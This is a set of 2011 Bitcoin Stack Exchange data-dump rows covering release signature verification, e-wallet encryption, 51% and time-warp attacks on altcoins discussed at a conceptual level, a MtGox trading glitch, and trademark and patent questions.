  <row Id="1019" PostTypeId="2" ParentId="1018" CreationDate="2011-09-14T03:24:46.577" Score="7" Body="&lt;p&gt;The latency for gathering information and executing decisions will swamp the performance difference between languages. That assumes you don't write horribly awful code, but you can do that in any language. You should use whatever language you are most proficient in or whichever one you find easiest for the task.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-14T03:24:46.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1020" PostTypeId="2" ParentId="565" CreationDate="2011-09-14T05:25:49.033" Score="13" Body="&lt;p&gt;Jeff Garzik signs every release with &lt;a href=&quot;http://pgp.surfnet.nl:11371/pks/lookup?op=vindex&amp;amp;fingerprint=on&amp;amp;search=0x2DBF0CA8&quot;&gt;his GPG key&lt;/a&gt; (also &lt;a href=&quot;http://bitcoin.org/jgarzik-exmulti.asc&quot;&gt;here&lt;/a&gt;). You can find release announcements (such as &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=27771039&quot;&gt;this one&lt;/a&gt;) on the &lt;a href=&quot;http://sourceforge.net/mail/?group_id=244765&quot;&gt;SourceForge.net Bitcoin development list&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify the signature on a release, obtain the key from the link above. Obtain the release announcement from the link above. Obtain the &lt;a href=&quot;http://bitcoin.org/&quot;&gt;download&lt;/a&gt; from any source. Then point &lt;a href=&quot;http://www.gnupg.org/&quot;&gt;GPG&lt;/a&gt; at the release annoucement (or the signature block from it, including the BEGIN and END lines). GPG will ask what file you want to verify, pick any of the ones listed in the signature certificate. It will then tell you if the release is identical to the release Jeff Garzik signed.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-14T05:25:49.033" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1021" PostTypeId="2" ParentId="991" CreationDate="2011-09-14T07:48:22.967" Score="5" Body="&lt;p&gt;Colin Percival, the author of &lt;a href=&quot;http://www.tarsnap.com/scrypt.html&quot;&gt;&lt;code&gt;scrypt&lt;/code&gt;&lt;/a&gt;, estimates and compares the costs of implementing various password hashing algorithms in hardware. From his &lt;a href=&quot;http://www.tarsnap.com/scrypt/scrypt.pdf&quot;&gt;paper&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When used for interactive logins, [scrypt] is 35 times more expensive than&#xA;  bcrypt and 260 times more expensive than PBKDF2; &#xA;  and  when used for file encryption — where, unlike bcrypt and PBKDF2,&#xA;  scrypt uses not only more CPU time but also increases the die area&#xA;  required — scrypt increases its lead to a factor of 4000 over bcrypt&#xA;  and 20000 over PBKDF2.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wonder if the algorithm could be modified to adaptively require more &quot;die area&quot; for hashes as well. At the very least, it could raise the price of entry into custom circuits to allow only the most well-financed attackers.&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2011-09-14T07:48:22.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1022" PostTypeId="2" ParentId="565" CreationDate="2011-09-14T08:13:09.310" Score="-1" Body="&lt;p&gt;Q: How can one download the bitcoin client securely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/downloads&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/downloads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="382" LastActivityDate="2011-09-14T08:13:09.310" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1023" PostTypeId="1" AcceptedAnswerId="1025" CreationDate="2011-09-14T08:20:35.097" Score="9" ViewCount="1233" Body="&lt;p&gt;I don't understand &lt;a href=&quot;https://bitcointalk.org/index.php?topic=43465.msg521136#msg521136&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is &quot;ArtForz modified exploit&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does &quot;Gavin's patch will not work for the exchanges&quot; mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any more important details I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2015-06-17T16:05:50.480" LastActivityDate="2015-06-17T16:05:50.480" Title="Why did BitcoinEXpress plan a 51% attack on Namecoin?" Tags="|security|namecoin|majority-attack|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1024" PostTypeId="2" ParentId="517" CreationDate="2011-09-14T08:23:43.647" Score="1" Body="&lt;p&gt;The answer is &lt;strong&gt;client side encryption&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Basically it works something like this.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You register with the e-wallet service.&lt;/li&gt;&#xA;&lt;li&gt;CLIENT - You then create your first Bitcoin key pair. This is done with Javascript running in the browser.&lt;/li&gt;&#xA;&lt;li&gt;CLIENT - You are asked for a strong password to secure this key pair.&lt;/li&gt;&#xA;&lt;li&gt;CLIENT - The private key is encrypted in the client with Javascript.&lt;/li&gt;&#xA;&lt;li&gt;SERVER - Finally the public key and the encrypted private key are sent to the server for storage.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The e-wallet service doesn't have access to your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When you need to spend coins from your address.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the Bitcoin keypair to spend from.&lt;/li&gt;&#xA;&lt;li&gt;CLIENT - You are asked for the password to decrypt the private key. Again this is done client side.&lt;/li&gt;&#xA;&lt;li&gt;CLIENT - The payment transaction is signed. (In the browser)&lt;/li&gt;&#xA;&lt;li&gt;SERVER - The transaction is sent to the server and forwarded to the Bitcoin network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again the e-wallet service never sees your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still risks with this approach.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Keyloggers or malware could capture the passwords you use to encrypt the key pairs. It would be prudent to use a browser on a clean operating system or on a system not prone to malware e.g. A Kindle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have to trust the e-wallet service to not change the Javascript and capture your passwords. An external 3rd party could validate the Javascript via checksums perhaps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A server breach could allow an attacker to change the client side javascript. The service should provide it's own mechanism for verifying the integrity of the code delivered to the browser.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The wallet service should keep secure offsite backups. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the approach being taken by a number of new wallet services such as &lt;a href=&quot;http://strongcoin.com/&quot; rel=&quot;nofollow&quot;&gt;StrongCoin&lt;/a&gt; and &lt;a href=&quot;http://bitcoinjs.org/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJS&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2011-09-14T08:23:43.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1025" PostTypeId="2" ParentId="1023" CreationDate="2011-09-14T08:36:48.710" Score="9" Body="&lt;p&gt;This post by ArtForz on the forums explains the attack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=43692.msg521772#msg521772&quot;&gt;https://bitcointalk.org/index.php?topic=43692.msg521772#msg521772&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote: &quot;By exploiting the fact that retargeting ignores one block interval every period, it's possible for an attackers' fork chain to &quot;jump backwards in time&quot; and create lots of blocks at low difficulty without running nTime off into the far future.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack has been proven to work on GeistGeld (which uses 10 second blocks and 16 block retarget intervals). It was rather easy there, because of the low intervals and because the developers &quot;forgot&quot; to adjust other constants regarding timing and clocks. They since made it much better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it seems it will be tried on namecoin, with the goal of making bitcoin more secure.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2011-09-14T08:36:48.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1026" PostTypeId="2" ParentId="1023" CreationDate="2011-09-14T08:37:34.607" Score="6" Body="&lt;p&gt;The answer to the title question &lt;em&gt;&quot;Why is BitcoinEXress planning a 51% attack on Namecoin?&quot;&lt;/em&gt; has been given in the linked post itself:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Goals&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Developing protection for Bitcoin against exploits&lt;/li&gt;&#xA;  &lt;li&gt;Developing a lethal alt chain killer.&lt;/li&gt;&#xA;  &lt;li&gt;Making developers aware that when the &quot;bad guys&quot; make you aware of an exploit, FIX IT!&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We know the 51% attack could be a danger to bitcoin (there are several threads about this IIRC), so they are trying that attack against a bitcoin weaker clone to see &quot;live&quot; if it really works, to raise public awareness of this problem.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2011-09-14T08:37:34.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1027" PostTypeId="5" CreationDate="2011-09-14T08:46:39.073" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T08:46:39.073" LastActivityDate="2011-09-14T08:46:39.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1028" PostTypeId="4" CreationDate="2011-09-14T08:46:39.073" Score="0" Body="The set of technical terms used in to discuss cryptographic currencies, their implementation and usage." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T14:16:01.830" LastActivityDate="2011-09-14T14:16:01.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1029" PostTypeId="5" CreationDate="2011-09-14T08:47:37.467" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T08:47:37.467" LastActivityDate="2011-09-14T08:47:37.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1030" PostTypeId="4" CreationDate="2011-09-14T08:47:37.467" Score="0" Body="Much like a vanity license plate, an address can also be chosen to include a particular word or series of characters." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T14:16:06.417" LastActivityDate="2011-09-14T14:16:06.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1031" PostTypeId="1" CreationDate="2011-09-14T08:52:29.743" Score="14" ViewCount="1561" Body="&lt;p&gt;Someone on the #mtgox IRC channel pointed me to &lt;a href=&quot;http://esearch.oami.europa.eu/copla/trademark/data/010103646&quot;&gt;this&lt;/a&gt;. It seems to be an application by Tibanne Co. Ltd. for the Trademark name BITCOIN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked MagicalTux on #mtgox about it, but got no answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is he doing this?&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="85" LastEditDate="2011-09-14T10:15:56.497" LastActivityDate="2013-03-30T02:37:20.207" Title="Why is MtGox trying to trademark &quot;Bitcoin&quot;?" Tags="|exchanges|economic-theory|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1032" PostTypeId="1" CreationDate="2011-09-14T09:45:02.287" Score="10" ViewCount="800" Body="&lt;p&gt;On that date, some erratic out-of-spread trades appeared on MtGox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://support.mtgox.com/entries/20433652-resolved-outage-11804-unexecuted-trades&quot; rel=&quot;nofollow&quot;&gt;explanation given&lt;/a&gt; says that accounts may have been compromised by the CosbyCoin attack on bitcointalk.org. I do not understand how this can lead to out-of-spread orders being executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He says the issue is resolved and proceeds to give us a speech about password security and says that we should keep trading &quot;in confidence&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That does not satisfy me at all.&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="659" LastEditDate="2012-03-11T05:41:31.067" LastActivityDate="2021-06-28T14:56:12.327" Title="What happened with MtGox on 2011/9/12?" Tags="|exchanges|mtgox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1033" PostTypeId="2" ParentId="1031" CreationDate="2011-09-14T09:45:52.753" Score="14" Body="&lt;p&gt;Some countries have a strict first-to-file rule. In these countries, if some malicious entity &lt;a href=&quot;http://www.techdirt.com/articles/20110707/12090715000/couple-trying-to-trademark-bitcoin-via-dubious-claims.shtml&quot; rel=&quot;nofollow&quot;&gt;tried to trademark the term 'Bitcoin'&lt;/a&gt; it could cause problems for others trying to use it to talk about the currency. Tibanne is trying to protect the community from this kind of nonsense. &lt;a href=&quot;https://mtgox.com/press_release_20111014.html&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="2306" LastEditDate="2013-03-30T02:37:20.207" LastActivityDate="2013-03-30T02:37:20.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1034" PostTypeId="1" CreationDate="2011-09-14T09:51:59.320" Score="-1" ViewCount="128" Body="&lt;p&gt;I closed down bitcoin from the official gui client with &lt;em&gt;File &gt; Exit&lt;/em&gt; and the following message appeared in bash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;************************&#xA;UNKNOWN EXCEPTION       &#xA;bitcoin in CMyApp::OnUnhandledException()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen this before, and on restarting bitcoin, I encounter no problems, and transactions work just fine. Does anybody know what is causing this error message to show?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running debian squeeze just FYI.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="132" LastEditDate="2011-09-17T04:20:15.827" LastActivityDate="2011-09-17T04:20:15.827" Title="Gui shutdown: message in the terminal" Tags="|client|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ClosedDate="2011-09-21T00:37:49.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="1036" PostTypeId="2" ParentId="1032" CreationDate="2011-09-14T10:41:56.060" Score="8" Body="&lt;p&gt;Some more info by upb from #mtgox:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;lt;upb&amp;gt; so there IS some underlying bug which was triggered that caused invalid order matching&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;@MagicalTux&amp;gt; yes, but it requires a large amount of funds to be triggered&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;@MagicalTux&amp;gt; normal users, unless millionaire, wouldn't trigger it&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;upb&amp;gt; must be some kind of integer overflow ;-)&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;@MagicalTux&amp;gt; it happens when an order executes way too many orders at once&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;@MagicalTux&amp;gt; I'm adding some code to avoid this from happening, but nobody in their right mind would do that&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This actually reminded me of about 2-3 Weeks ago when I noticed a bug and reported it on #mtgox.&lt;/p&gt;&#xA;&lt;p&gt;The bug worked as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I had a buy order at, let's say 1 BTC for USD 10.0, last trade was 10.001&lt;/li&gt;&#xA;&lt;li&gt;someone partly filled that order, let's say he filled 0.3 BTC&lt;/li&gt;&#xA;&lt;li&gt;this had the effect of my order being in state &amp;quot;pending&amp;quot; with 0.7 BTC for USD 10.0&lt;/li&gt;&#xA;&lt;li&gt;while my order was pending, a lower order (say at USD 9.99) was filled&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I complained and a short while after, MagicalTux said he found the problem and fixed it.&lt;/p&gt;&#xA;&lt;p&gt;I don't know if this could have anything to do with the current problem, but &amp;quot;it happens when an order executes way too many orders at once&amp;quot; sound kind of like this could be the case.&lt;/p&gt;&#xA;&lt;p&gt;I also remember someone suggesting this above bug could be exploited to disable a lot of orders in order to &amp;quot;get to&amp;quot; an order that would normally be well out of spread. Maybe someone managed to pull off this exploit. That would also match MagicalTux saying something about 2000 accounts being created. Maybe these accounts were used to &amp;quot;disable&amp;quot; orders by filling a small part of them successively in order to execute an order well out of spread.&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="42185" LastEditDate="2021-06-28T14:56:12.327" LastActivityDate="2021-06-28T14:56:12.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1037" PostTypeId="1" AcceptedAnswerId="1038" CreationDate="2011-09-14T11:00:20.863" Score="17" ViewCount="2427" Body="&lt;p&gt;Within the coming weeks both Namecoin and SolidCoin have been threatened with the same attack. What can be done by the users, pool operators and developers of these forks to either;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Minimise damage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Stop it altogether.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="5406" LastEditDate="2016-01-21T09:59:39.167" LastActivityDate="2017-04-13T00:38:59.780" Title="What can xxxCoin do to stop the impending 51% attack?" Tags="|security|namecoin|majority-attack|solidcoin|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1038" PostTypeId="2" ParentId="1037" CreationDate="2011-09-14T11:25:26.507" Score="8" Body="&lt;p&gt;There are two basic fronts on which they can defend, and they really do have to do both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, they need to increase their total hashing power. 51% of a very large number is much harder for an attacker to muster than 51% of a small number. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/273/merged-mining-how-will-it-work&quot;&gt;Merged mining&lt;/a&gt; is probably the most realistic way for these currencies to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, they need to fix specific vulnerabilities in their difficulty adjusting algorithms. Some of these attacks requires less than 51% of the hashing power or do more damage than they should because of specific weaknesses in the difficulty-adjusting algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative currencies are vulnerable to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/289/what-happens-if-hash-rate-decreases-rapidly&quot;&gt;hash rate decrease&lt;/a&gt; attacks. To resist them, they've adjusted their difficulty algorithms so that difficulty can drop rapidly. Unfortunately, these algorithms have been found to have unexpected defects. Because strict timestamp accuracy &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/915/why-dont-the-timestamps-in-the-block-chain-always-increase/973#973&quot;&gt;can't be enforced&lt;/a&gt;, an attacker can maliciously inject false timestamps into mined blocks to cause the difficulty to drop very, very quickly. This allows a malicious group of coordinated miners to extract a very large number of coins in a very small period of time with relatively little hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effort will be needed to fix these algorithms so that they still provide protection against a hash rate decrease attack but don't create even more serious new vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may well be a rocky road these next few weeks. The 51% attack is fundamental to the decentralized nature of these currencies -- the only solution is more hashing power. But the difficulty algorithm attack issues will likely be solved by fixing the algorithms.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-09-14T11:31:48.277" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1040" PostTypeId="2" ParentId="1034" CreationDate="2011-09-14T15:49:32.790" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/473&quot; rel=&quot;nofollow&quot;&gt;Here's its filing on github&lt;/a&gt;.  Seems to be an unresolved issue with the client.&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2011-09-14T15:49:32.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1041" PostTypeId="1" AcceptedAnswerId="1045" CreationDate="2011-09-14T16:05:38.613" Score="5" ViewCount="174" Body="&lt;p&gt;Bitcoin has clients created for many OSes already, but which (semi-)significant operating systems don't yet have a Bitcoin client created for them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some opensource code I can use as a template to create a Bitcoin client for an OS that doesn't yet have a client?&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="5406" LastEditDate="2014-02-09T09:35:44.107" LastActivityDate="2014-02-09T09:35:44.107" Title="What OSes don't yet have Bitcoin clients?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1042" PostTypeId="1" AcceptedAnswerId="1054" CreationDate="2011-09-14T16:09:08.703" Score="8" ViewCount="941" Body="&lt;p&gt;Bitcoin utilizes a proof-of-work mechanism to assure against double-spending, as well as providing an example opensource implementation.  However, some countries allow software patents, which could mean that one person/company has the ability to suddenly prevent the legal use of Satoshi Nakamoto's Bitcoin algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these Bitcoin algorithms complex enough to qualify for being patentable, and if so, in what countries might such patents be granted?  Does this pose a significant legal risk for users of Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2017-11-27T07:15:40.300" Title="Would it be possible to patent Bitcoin?" Tags="|legal|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1043" PostTypeId="2" ParentId="1018" CreationDate="2011-09-14T16:17:39.187" Score="0" Body="&lt;p&gt;If you want to base your work on the original client, you might find it easier to use C++, since that was the original client's sourcecode language.  However, the performance difference is negligible for different languages (especially when you take into account network latency as a speed-limiting factor), so you'll probably want to use the language you're most comfortable with for a trading bot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where you might want to consider performance a little more is if you're writing a program to mine Bitcoins.  In that instance, you may be able to get a C/C++ program (or even assembly) to perform a little better than an interpreted language.&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2011-09-14T16:17:39.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1044" PostTypeId="2" ParentId="1042" CreationDate="2011-09-14T16:35:10.460" Score="-2" Body="&lt;p&gt;As long as the Bitcoin project is open source it would be very hard to claim a copyright on that code which is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/COPYING&quot; rel=&quot;nofollow&quot;&gt;freely available&lt;/a&gt; for copying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if someone wanted to copyright a derivative work then that is possible.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2011-09-14T16:35:10.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1045" PostTypeId="2" ParentId="1041" CreationDate="2011-09-14T16:37:56.680" Score="3" Body="&lt;p&gt;The bitcoin &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; is free derive and redistribute. I believe some microarchetectures (some flavors of ARM?) are currently unsupported.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2011-09-14T16:37:56.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1046" PostTypeId="5" CreationDate="2011-09-14T16:52:58.493" Score="0" Body="&lt;p&gt;Relates to attempts to harm the Bitcoin network. In cryptography, an attack is a method/technique to break the code. Bitcoin also has to deal with other types of attack, such as double spends and denial of service.&lt;/p&gt;&#xA;" OwnerUserId="131517" LastEditorUserId="131517" LastEditDate="2022-07-28T12:32:22.963" LastActivityDate="2022-07-28T12:32:22.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1047" PostTypeId="4" CreationDate="2011-09-14T16:52:58.493" Score="0" Body="Relates to attempts to harm the Bitcoin network. In cryptography, an attack is a method/technique to break the code. Bitcoin also has to deal with other types of attack, such as double spends and denial of service." OwnerUserId="228" LastEditorUserId="516" LastEditDate="2013-04-08T08:09:43.637" LastActivityDate="2013-04-08T08:09:43.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1048" PostTypeId="5" CreationDate="2011-09-14T16:53:33.707" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T16:53:33.707" LastActivityDate="2011-09-14T16:53:33.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1049" PostTypeId="4" CreationDate="2011-09-14T16:53:33.707" Score="0" Body="How much something is worth (as opposed to how much it costs)." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-14T18:09:24.090" LastActivityDate="2011-09-14T18:09:24.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1050" PostTypeId="5" CreationDate="2011-09-14T16:53:53.860" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T16:53:53.860" LastActivityDate="2011-09-14T16:53:53.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1051" PostTypeId="4" CreationDate="2011-09-14T16:53:53.860" Score="0" Body="An e-wallet is a remote service, usually a web site, which runs an instance of the Bitcoin (or similar) software and manages one or more addresses on behalf of its clients. Such services allow access from mobile devices, public computers or other platforms without the need to install software." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-14T18:28:22.937" LastActivityDate="2011-09-14T18:28:22.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1052" PostTypeId="2" ParentId="991" CreationDate="2011-09-14T17:04:26.183" Score="1" Body="&lt;p&gt;Explaining further what @Andrew Jones said:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Algorithms are pushing around 1's and 0's&lt;/li&gt;&#xA;&lt;li&gt;Digital chips are good at that.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the answer is no.&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2011-09-14T17:04:26.183" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1053" PostTypeId="2" ParentId="1018" CreationDate="2011-09-14T17:12:08.800" Score="0" Body="&lt;p&gt;Performance of the language isn't the most important factor in such a chunk of code. Room for error is the biggest I think. C if you are very good at writing C, then do it in C. Python elsewise simply because its harder to write crashing buggy code. Oh and PHP if you want a language that rewards you for writing sloppy code. :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also python integrates with C libs fairly easily, so you could always write your efficient pieces in C, then import their functionality in to python.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2011-09-14T17:12:08.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1054" PostTypeId="2" ParentId="1042" CreationDate="2011-09-14T17:14:51.483" Score="11" Body="&lt;p&gt;To claim a patent you must be able to prove against contest that you invented the device, and have a working example that if built to the specs provided, runs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it was this Satoshi who invented bitcoin, and there are prior examples of a digital currency, it would be very hard for any one person to claim a patent so far after the fact. Some one could try, but the patent industry is built to make it hard to write a patent, easy to contest. Admitedly many companies do just that and are good at it, but anyone patenting bitcoin would have a hell of a time proving first invent.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2011-09-15T02:15:02.057" LastActivityDate="2011-09-15T02:15:02.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1055" PostTypeId="1" AcceptedAnswerId="1058" CreationDate="2011-09-14T18:17:24.250" Score="15" ViewCount="1922" Body="&lt;p&gt;What exactly is this attack? It would be nice to have a good explanation of how it works and which chains can be effected by this. Does it apply to the bitcoin main chain, or only the newer and smaller alternative chains? &lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="2306" LastEditDate="2015-01-07T06:19:37.620" LastActivityDate="2015-01-07T06:19:37.620" Title="What is the &quot;zeitgeist attack&quot;? Does it affect all blockchain technologies?" Tags="|security|alternatives|time-warp-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1056" PostTypeId="1" AcceptedAnswerId="1060" CreationDate="2011-09-14T18:24:08.857" Score="4" ViewCount="739" Body="&lt;p&gt;What is the hash rate of a standard laptop using the default client and what is it for the whole of Bitcoin? I am interested in this, because I want to understand what it would take to get to 51% of hashing power (is this what it is called?) &lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="5406" LastEditDate="2015-06-09T22:56:45.177" LastActivityDate="2015-06-09T22:56:45.177" Title="How many consumer computers would it take to launch a 51% attack" Tags="|security|majority-attack|" AnswerCount="2" CommentCount="11" ClosedDate="2015-06-09T22:56:15.393" ContentLicense="CC BY-SA 3.0" />
